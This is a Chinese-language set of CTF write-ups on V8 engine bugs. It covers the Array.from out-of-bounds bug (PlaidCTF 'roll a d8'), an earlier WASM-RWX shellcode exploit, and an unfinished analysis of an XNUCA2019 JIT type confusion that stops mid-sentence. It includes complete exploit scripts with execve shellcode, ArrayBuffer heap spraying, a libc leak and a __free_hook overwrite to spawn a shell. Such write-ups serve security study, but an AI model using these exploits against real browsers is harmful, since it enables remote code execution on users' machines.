throw "FAILED to overwrite arr.length";
} else {
hexx("arr.length", arr.length);
}
var tmp = [0xeabeef, arb_buf, arr];
var backing_store_index = -1n;
for (let i = 0; i < 1022; i++)
{
if (0x00eabeef00000000n == d2l(arr[i]))
{
backing_store_index = (d2l(arr[i+1]) + 0x20n -1n - (d2l(arr[i+2]) - 0x8n - 1n)) / 8n;
break;
}
}
if (backing_store_index == -1n || backing_store_index > 1023n)
{
throw "Error backing_store_index";
}
hexx("backing_store_index", backing_store_index);
function arb_read(addr)
{
arr[backing_store_index] = l2d(addr);
return arb.getBigInt64(0, true);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
tmp[0] = 0xdabeef;
tmp[1] = wasm_instance;
var wasm_instance_addr = -1n;
for (let i = 0; i < 1023; i++)
{
if (0x00dabeef00000000n == d2l(arr[i]))
{
wasm_instance_addr = d2l(arr[i+1]) - 1n;
break;
}
}
if (wasm_instance_addr == -1n)
{
throw "Error wasm_instance_addr";
}
hexx("wasm_instance_addr", wasm_instance_addr);
var rwx_addr = arb_read(wasm_instance_addr+0x88n);
hexx("rwx_addr", rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var calc = [
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];
arr[backing_store_index] = l2d(rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
arb.setBigInt64(i*8, shellcode[i], true);
}
//for (let i = 0; i < calc.length; i++)
//{
// arb.setUint8(i, calc[i]);
//}
pwn();
PlaidCTF roll a d8【Array.from 中忽略 new 特性而导致的OOB、堆喷ArrayBuffer和泄漏libc_base小技巧】
环境搭建
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync -D
漏洞分析
该漏洞是一个真实的漏洞,详细见:Issue 821137
然后给了回归测试样例,可以当作 poc
用:
<script>
let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : 1024 * 1024 * 8,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
</script>
其实这里对测试程序简单分析就可以改改打了,毕竟就是个OOB,但是这里还是来简单分析下漏洞产生原因。
先来看下补丁:
diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index dcf3be4..3a74342 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
可以看到这里仅仅将 SmiLessThan
修改成了 SmiNotEqual
,这里直接定位下源码:
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
// 定义了fast、runtime、done标签
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
// 如果数组array是FastJSArray则执行fast,否则执行runtime
// 根据poc得知这里走的是fast路径
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
// length_smi为传入的参数length的值
TNode<Smi> length_smi = CAST(length);
// old_length为传入的数组的长度
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
// old_length得为正数
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
// 确保fast_array的length属性是可写的
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
// 这里根据注释可以知道:
// 当 length_smi < old_length 时,将执行runtime去缩小(也不一定是缩小,可能是插入hole,但是array.length会减小)数组大小
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
// 当 length_smi >= old_length 时,将执行StoreObjectFieldNoWriteBarrier
// 这里可以简单跟踪下 StoreObjectFieldNoWriteBarrier 函数:
// 发现其大概就是执行 fast_array.JSArray::kLengthOffset = length_smi
// 也就是简单的修改 array 的length属性为length_smi
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done); // 跳转到done标签
}
BIND(&runtime);
{
// 由上面的注释可以知道,这里会动态的缩减数组
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done); // 跳转到done标签
}
BIND(&done);
}
};
大致逻辑都注释了,都比较清晰,漏洞也比较明显了,就是 fast
路径下的如下逻辑:
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
// 这里根据注释可以知道:
// 当 length_smi < old_length 时,将执行runtime去缩小(也不一定是缩小,可能是插入hole,但是array.length会减小)数组大小
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
// 当 length_smi >= old_length 时,将执行StoreObjectFieldNoWriteBarrier
// 这里可以简单跟踪下 StoreObjectFieldNoWriteBarrier 函数:
// 发现其大概就是执行 fast_array.JSArray::kLengthOffset = length_smi
// 也就是简单的修改 array 的length属性为length_smi
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
可以看到这里当 length_smi >= old_length
时,会执行 array.length = length_smi
,啥意思呢?就是如果数组大小 array.length = old_length
小于等于某个值 length_smi
时,会将数组的大小设置为 length_smi
即 array.length = length_smi
。注意这是在引擎层面所设置的,所以当 length_smi > old_length
时,这里就是单纯的把数组的 length
属性的值给增大了,那么这里就会发生了数组越界了。
当时还有同学问我,把 array.length 增大了,数组的 elements 不是会自动增大吗?这个是在 JS 层的逻辑,以上的分析都是在引擎层面,所以不要搞混了
但是这么明显的错误难道 chrome
团队看不出来吗?所以这里还得来看看该漏洞(逻辑)的触发路径,这里根据 poc
或者 issue
上的描述可以知道这里是跟 Array.from
方法相关,这里还是直接定位源码,由于源码较长且 c++
代码比较难看,所以这里先用 polyfill
项目来看下 Array.from
的大致逻辑:
注:这里的参数似乎是与 Array.from.call 传入的参数是反过来的,也就是从右到左的
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
define(
Array, 'from',
function from(items) {
var mapfn = arguments[1];
var thisArg = arguments[2];
var c = strict(this); // this值,也就是poc中 Array.from.call 的第一个参数,其传入的是一个函数
if (mapfn === undefined) {
var mapping = false;
} else {
if (!IsCallable(mapfn)) throw TypeError();
var t = thisArg;
mapping = true;
}
var usingIterator = GetMethod(items, $$iterator); // 获取迭代器,也就是传入的第二个参数
if (usingIterator !== undefined) {
if (IsConstructor(c)) { // 这里我们传入的是一个构造函数(这里不能传入箭头函数,因为箭头函数不是构造函数),所以这里会使用 new 创建一个 array,记住这里
var a = new c();
} else {
a = new Array(0);
}
var iterator = GetIterator(items, usingIterator);
var k = 0; // 迭代次数
while (true) { // 下面就是迭代赋值的过程
var next = IteratorStep(iterator);
if (next === false) { // 迭代结束
a.length = k; // 将数组长度设置为迭代次数,即a.length = k
return a; // 返回数组
}
// 下面就是赋值过程
var nextValue = IteratorValue(next);
if (mapping)
var mappedValue = mapfn.call(t, nextValue);
else
mappedValue = nextValue;
a[k] = mappedValue;
k += 1;
}
}
......
});
可以从这里看出 Array.from
的大致流程(这里是按照 poc
的传入参数分析的):
1)先利用传入的第一个参数 new
一个数组 array
2)迭代赋值
3)设置数组长度等于迭代次数
然后再来看看 v8
引擎是如何实现 Array.from
的,这里由于源码较长,就简单的结合 poc
看下逻辑:
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc = UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));
// 获取参数列表argc
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
// 如果 map_function 不是未定义的,则确保其是一个回调函数(回调函数就是一个函数)
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);
BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error);
}
Label iterable(this), not_iterable(this), finished(this), if_exception(this);
// 这里的参数也是反着取的,this_arg就是第一个参数,item就是第二个参数
TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
// 将 items 转化为类数组对象
TNode<JSReceiver> array_like = ToObject(context, items);
// 定义了两个变量
TVARIABLE(Object, array);
TVARIABLE(Number, length);
// Determine whether items[Symbol.iterator] is defined:
// 检测 item 是否定义了迭代器,这里根据 poc 是定义了的
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method = iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
BIND(&iterable);
{
// 定义了变量 index = 0,这个就是迭代次数
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// Check that the method is callable.
// 检测 next() 方法是否可调用
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}
// Construct the output array with empty length.
// 创建一个空数组
// ConstructArrayLike 会先判断 receiver 是否是构造函数,如果是的话则是利用构造函数 new 一个数组
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record = iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
// 开始循环迭代
Goto(&loop);
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
// 存储 value 到输出数组中,其中kCreateDataProperty函数会动态调整数组 elements 的大小
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
// 迭代次数加1
index = NumberInc(index.value());
// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}
// 迭代结束
BIND(&loop_done);
{
length = index; // 可以看到这里的 length 就是迭代次数
Goto(&finished);
}
BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
// Since there's no iterator, items cannot be a Fast JS Array.
// 如果不是一个迭代器,则会走这条路径,这里与漏洞利用无关,就不看了
BIND(¬_iterable);
{
......
}
BIND(&finished);
// Finally set the length on the output and return it.
// 最后调用 GenerateSetLength 函数设置返回数组的长度
// 其中传入的参数:array.value()就是待返回数组;length.value()就是迭代次数
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
通过对源码的简要分析,可以知道迭代过程中使用的是 kCreateDataProperty
函数进行数据的赋值,从该函数的注释可以知道该函数会动态修改 elements
的大小:
// New-space filled up or index too large, set element via runtime
CallRuntime(Runtime::kCreateDataProperty, context, values_array, index,
value);
所以最后的迭代次数 index
必定是不大于 array.length
的,也就是说原则上 GenerateSetLength
中 length_smi
和 old_length
的大小关系是:old_length >= length_smi
,这也是为什么开发人员用的是 SmiLessThan
的原因。而且认为输出数组是在内部创建的,JS层无法直接修改。
但是这里却忽略了一种情况,那就是 new
可以返回用户自定义对象:
1)new
默认返回 this
实例
2)当构造函数带有 return
语句时:
1)若 return
一个原始类型,则还是返回 this
实例
2)若 return
一个对象,则返回的就是该对象
所以这里其实我们是可以让输出数组为一个我们在JS层面可控的的数组,然后再来结合 poc
看看:
let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : 1024 * 1024 * 8,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
所以这里漏洞触发逻辑就很简单了:
1)首先,第一个参数传入的是一个构造函数:
function() { return oobArray }
这是为了确保输出数组就是 oobArray
,这样我们在 JS 层面就可以控制输出数组了
2)在迭代结束时,修改输出数组 oobArray
的 length
为 0
这里由于是在 JS 层面操作的,所以会同时修改
elements
,这也是漏洞可以利用的关键,不然后面的操作就没啥意义了。
3)最后进入 GenerateSetLength
函数,其中 length_smi
就是迭代次数(这里上面已经分析过了,忘了的同学可以在看下源码注释),但是这里的输出数组的长度已经被修改为了0,即 oobArray.length = 0
,而且由于是在 JS 层面的操作,所以这里的 elements
其实也变为了 FixedDoubleArray[0]
。而这里的 length_smi > oobArray.length
,所以会直接设置 oobArray.length = length_smi
因此导致溢出。
所以漏洞修复也比较简单,只要 length_smi != old_length
就动态调整数组大小。
漏洞利用
对于 OOB
类型的漏洞利用就不想多说了,但是由于对 v8
的 gc
机制不是很熟悉,所以有效地方还有一些疑问,但是写 exp
还是可以勉勉强强写出来的。
const {log} = console;
/*
let debug = (o) => {
%DebugPrint(o);
};
let int3 = () => {
%SystemBreak();
};
let ddebug = (o) => {
debug(o);
int3();
};
*/
let hexx = (str, value) => {
print("\033[32m[+]"+ str+": \033[0m0x"+value.toString(16));
};
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new Uint32Array(raw_buf);
let d2l = (v) => {
d_buf[0] = v;
return [l_buf[1], l_buf[0], l_buf[1] * 0x100000000 + l_buf[0]];
};
let l2d = (h, l) => {
l_buf[0] = l;
l_buf[1] = h;
return d_buf[0];
};
var oobArray = [1.1];
var heap_arr = [];
const MAX_LEN = 1024 * 8;
const HeapSpray_Num = 0x30;
Array.from.call(function() { return oobArray; }, {[Symbol.iterator]() {
return {
counter: 0,
next() {
if (this.counter++ > MAX_LEN) {
oobArray.length = 1;
return { done:true};
} else {
return {value:1.1, done:false};
}
}
};
}});
for (let i = 0; i < HeapSpray_Num; i++) {
heap_arr[i] = new ArrayBuffer(0x2024);
}
var victim_oob_idx = -1;
var victim_arr_idx = -1;
for (let i = 0; i < MAX_LEN; i++) {
let [,,size] = d2l(oobArray[i]);
if (size === 0x202400000000) {
victim_oob_idx = i+1;
oobArray[i] = l2d(0x2025, 0);
break;
};
}
if (victim_oob_idx == -1) {
throw "FAILED to hit ArrayBuffer oob_idx";
}
for (let i = 0; i < HeapSpray_Num; i++) {
// hexx("len", heap_arr[i].byteLength);
if (heap_arr[i].byteLength === 0x2025) {
victim_arr_idx = i;
break;
}
}
if (victim_arr_idx == -1) {
throw "FAILED to hit ArrayBuffer arr_idx";
}
hexx("victim_oob_idx", victim_oob_idx);
hexx("victim_arr_idx", victim_arr_idx);
oobArray[victim_oob_idx-1] = l2d(0x2024, 0);
var dv = new DataView(heap_arr[victim_arr_idx]);
function arb_read(addr_h, addr_l) {
oobArray[victim_oob_idx] = l2d(addr_h, addr_l);
return d2l(dv.getFloat64(0, true));
}
var [heap_h, heap_l, heap_addr] = d2l(oobArray[victim_oob_idx]);
hexx("heap_addr", heap_addr);
var libc_h = -1, libc_l = -1, libc_base = -1;
var curr_chunk = heap_l - 0x10;
for (let i = 0; i < 0x500; i++) {
let [,prev_size,] = arb_read(heap_h, curr_chunk);
let [,size,] = arb_read(heap_h, curr_chunk+0x8);
if (size !== 0 && size % 2 === 0 ) {
let tmp_ptr = curr_chunk - prev_size;
let [fd_h, fd_l, fd] = arb_read(heap_h, tmp_ptr+0x10);
let [bk_h, bk_l, bk] = arb_read(heap_h, tmp_ptr+0x18);
if ((fd_h & 0xff00) === 0x7f00) {
[libc_h, libc_l] = [fd_h, fd_l];
libc_base = fd - 0x3ebca0;
break;
} else if ((bk_h & 0xff00) === 0x7f00) {
[libc_h, libc_l] = [bk_h, bk_l];
libc_base = bk - 0x3ebca0;
break;
}
}
size -= ((size % 8) === 0? 0: 1);
curr_chunk += size;
}
if (libc_base === -1) {
throw "FAILED to leak libc_base";
}
var system = libc_base + 0x4f420;
var free_hook = libc_base + 0x3ed8e8;
hexx("libc_base", libc_base);
hexx("system_addr", system);
hexx("free_hook_addr", free_hook);
oobArray[victim_oob_idx] = l2d(libc_h, free_hook % 0x100000000);
dv.setFloat64(0, l2d(libc_h, system % 0x100000000), true);
function get_shell() {
let shell_str = new String("/bin/sh\x00");
}
get_shell();
//ddebug(heap_arr[victim_arr_idx]);
XNUCA2019-JIT【BitwiseAnd 错误的 kNoWirte 属性导致的 类型混淆】== 未完成利用
题目来源与解析
环境搭建
git reset --hard 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync -D
漏洞分析
diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 5337ae3bda..f5cf34bb3b 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -597,7 +597,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) {
#define CACHED_OP_LIST(V) \
V(BitwiseOr, Operator::kNoProperties, 2, 1) \
V(BitwiseXor, Operator::kNoProperties, 2, 1) \
- V(BitwiseAnd, Operator::kNoProperties, 2, 1) \
+ V(BitwiseAnd, Operator::kNoWrite, 2, 1) \
V(ShiftLeft, Operator::kNoProperties, 2, 1) \
V(ShiftRight, Operator::kNoProperties, 2, 1) \
V(ShiftRightLogical, Operator::kNoProperties, 2, 1) \
漏洞引入在 BitwiseAnd
,其属性从 kNoProperties
修改为了 kNoWrite
。首先得明白这里属性的含义与作用:
// Properties inform the operator-independent optimizer about legal
// transformations for nodes that have this operator.
enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
kNoThrow = 1 << 5, // Can never generate an exception.
kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit.
kFoldable = kNoRead | kNoWrite,
kKontrol = kNoDeopt | kFoldable | kNoThrow,
kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
};
从注释可以看出这里 kNoWrite
的含义就是该操作不产生可见的副作用,这些属性会给优化器传递一定的优化信息,所以这里的问题大概就是 BitwiseAnd
操作会产生一定的副作用(感觉这个翻译不是很好,但是网上都这样叫)从而导致推测优化存在问题。
这里的不产生副作用我简单的理解为:该操作不会修改对象状态
补丁打在 BitwiseAnd
上,那么就得从该函数出发进行分析。在 Turbofan
的优化过程中,存在一个 generic-lowering
阶段,其作用是将 JS
前缀指令转换为更简单的调用和 stub
调用。在 src\compiler\js-generic-lowering.cc
,可以看到在 generic-lowering
中,BitwiseAnd
节点被替换成了 Builtins::kBitwiseAnd
:
......
#define REPLACE_STUB_CALL(Name) \
void JSGenericLowering::LowerJS##Name(Node* node) { \
CallDescriptor::Flags flags = FrameStateFlagForCall(node); \
Callable callable = Builtins::CallableFor(isolate(), Builtins::k##Name); \
ReplaceWithStubCall(node, callable, flags); \
}
......
REPLACE_STUB_CALL(BitwiseAnd)
......
GenericLoweringPhase
GenericLoweringPhase
阶段在 SimplifiedLoweringPhase
后面,查看源码:
struct GenericLoweringPhase {
static const char* phase_name() { return "generic lowering"; }
void Run(PipelineData* data, Zone* temp_zone) {
GraphReducer graph_reducer(temp_zone, data->graph(), data->jsgraph()->Dead());
JSGenericLowering generic_lowering(data->jsgraph());
AddReducer(data, &graph_reducer, &generic_lowering);
graph_reducer.ReduceGraph();
}
};
跟进就到了上面分析的地方:
// Lowers JS-level operators to runtime and IC calls in the "generic" case.
Reduction JSGenericLowering::Reduce(Node* node) {
switch (node->opcode()) {
#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
Lower##x(node); \
break;
JS_OP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
default:
// Nothing to see.
return NoChange();
}
return Changed(node);
}
#define REPLACE_STUB_CALL(Name) \
void JSGenericLowering::LowerJS##Name(Node* node) { \
CallDescriptor::Flags flags = FrameStateFlagForCall(node); \
Callable callable = Builtins::CallableFor(isolate(), Builtins::k##Name); \
ReplaceWithStubCall(node, callable, flags); \
}
......
REPLACE_STUB_CALL(BitwiseAnd)
......
Builtins::kBitwiseAnd
Builtins::kBitwiseAnd
定义如下:
TF_BUILTIN(BitwiseAnd, NumberBuiltinsAssembler) {
EmitBitwiseOp<Descriptor>(Operation::kBitwiseAnd);
}
展开如下:
template <typename Descriptor>
void EmitBitwiseOp(Operation op) {
Node* left = Parameter(Descriptor::kLeft);
Node* right = Parameter(Descriptor::kRight);
Node* context = Parameter(Descriptor::kContext);
VARIABLE(var_left_word32, MachineRepresentation::kWord32);
VARIABLE(var_right_word32, MachineRepresentation::kWord32);
VARIABLE(var_left_bigint, MachineRepresentation::kTagged, left);
VARIABLE(var_right_bigint, MachineRepresentation::kTagged);
Label if_left_number(this), do_number_op(this);
Label if_left_bigint(this), do_bigint_op(this);
TaggedToWord32OrBigInt(context, left, &if_left_number, &var_left_word32,
&if_left_bigint, &var_left_bigint);
BIND(&if_left_number);
TaggedToWord32OrBigInt(context, right, &do_number_op, &var_right_word32,
&do_bigint_op, &var_right_bigint);
BIND(&do_number_op);
Return(BitwiseOp(var_left_word32.value(), var_right_word32.value(), op));
// BigInt cases.
BIND(&if_left_bigint);
TaggedToNumeric(context, right, &do_bigint_op, &var_right_bigint);
BIND(&do_bigint_op);
Return(CallRuntime(Runtime::kBigIntBinaryOp, context,
var_left_bigint.value(), var_right_bigint.value(),
SmiConstant(op)));
}
函数功能比较简单:
-
利用
TaggedToWord32OrBigInt
函数检查op
的两个操作数是否为BigInt
- 其中一个操作数为
BigInt
则调用BitwiseOp
- 两个都不为
BigInt
则调用Runtime::kBigIntBinaryOp
- 其中一个操作数为
简单看下 BitwiseOp
函数:
TNode<Number> CodeStubAssembler::BitwiseOp(Node* left32, Node* right32,
Operation bitwise_op) {
switch (bitwise_op) {
case Operation::kBitwiseAnd:
return ChangeInt32ToTagged(Signed(Word32And(left32, right32)));
case Operation::kBitwiseOr:
return ChangeInt32ToTagged(Signed(Word32Or(left32, right32)));
case Operation::kBitwiseXor:
return ChangeInt32ToTagged(Signed(Word32Xor(left32, right32)));
......
default:
break;
}
UNREACHABLE();
}
可以看到就是根据不同的 op
执行不同的操作,后面会利用 TaggedToWord32OrBigInt
函数,简单分析下。
TaggedToWord32OrBigInt
通过注释可以知道,该函数的功能是将 value
转换为一个 word32
的值,并且如果转换后是一个 Number
则跳转到 if_number
;如果转换后是一个 BigInt
则跳转到 if_bigint
。
// Truncate {value} to word32 and jump to {if_number} if it is a Number,
// or find that it is a BigInt and jump to {if_bigint}.
void CodeStubAssembler::TaggedToWord32OrBigInt(Node* context, Node* value,
Label* if_number,
Variable* var_word32,
Label* if_bigint,
Variable* var_bigint) {
TaggedToWord32OrBigIntImpl<Object::Conversion::kToNumeric>(
context, value, if_number, var_word32, if_bigint, var_bigint);
}
该函数直接调用的 TaggedToWord32OrBigIntImpl
,模板参数为 Object::Conversion::kToNumeric
,跟进 TaggedToWord32OrBigIntImpl
函数:
template <Object::Conversion conversion>
void CodeStubAssembler::TaggedToWord32OrBigIntImpl(
Node* context, Node* value, Label* if_number, Variable* var_word32,
Label* if_bigint, Variable* var_bigint, Variable* var_feedback) {
DCHECK(var_word32->rep() == MachineRepresentation::kWord32);
DCHECK(var_bigint == nullptr || var_bigint->rep() == MachineRepresentation::kTagged);
DCHECK(var_feedback == nullptr || var_feedback->rep() == MachineRepresentation::kTaggedSigned);
// We might need to loop after conversion.
VARIABLE(var_value, MachineRepresentation::kTagged, value);
OverwriteFeedback(var_feedback, BinaryOperationFeedback::kNone);
Variable* loop_vars[] = {&var_value, var_feedback};
int num_vars = var_feedback != nullptr ? arraysize(loop_vars) : arraysize(loop_vars) - 1;
Label loop(this, num_vars, loop_vars);
// 循环
Goto(&loop);
BIND(&loop);
{
value = var_value.value(); // value 值
Label not_smi(this), is_heap_number(this), is_oddball(this), is_bigint(this);
// 判断 value 是否是 Smi
GotoIf(TaggedIsNotSmi(value), ¬_smi);
// {value} is a Smi.
// value 是 Smi,这里直接 Goto(if_number)
var_word32->Bind(SmiToInt32(value));
CombineFeedback(var_feedback, BinaryOperationFeedback::kSignedSmall);
Goto(if_number);
// 不是 Smi,我们知道不是 Smi 的数字都是堆存储的,其 Map 区分类型
BIND(¬_smi);
// 获取 value 的 map
Node* map = LoadMap(value);
// 根据 map 判断 value 是否是 HeapNumber【eg 浮点数】
GotoIf(IsHeapNumberMap(map), &is_heap_number);
// 如果 value 不是 HeapNumber,则加载其 InstanceType
Node* instance_type = LoadMapInstanceType(map);
// 这里还记得吗?上层函数传入就是 Object::Conversion::kToNumeric
if (conversion == Object::Conversion::kToNumeric) {
// 这里会进一步跟进 instance_type 来判断是否是 bigint
GotoIf(IsBigIntInstanceType(instance_type), &is_bigint);
}
// Not HeapNumber (or BigInt if conversion == kToNumeric).
// 不是 HeapNumber 和 BigInt
{
if (var_feedback != nullptr) {
// We do not require an Or with earlier feedback here because once we
// convert the value to a Numeric, we cannot reach this path. We can
// only reach this path on the first pass when the feedback is kNone.
CSA_ASSERT(this, SmiEqual(CAST(var_feedback->value()),
SmiConstant(BinaryOperationFeedback::kNone)));
}
// 检查是否是 ODDBALL_TYPE
GotoIf(InstanceTypeEqual(instance_type, ODDBALL_TYPE), &is_oddball);
// Not an oddball either -> convert.
// 不是 ODDBALL_TYPE 则进行转换(一般而言就是对象了)
// 上面说了上层传入的是 Object::Conversion::kToNumeric
// 所以这里的 builtin = Builtins::kNonNumberToNumeric
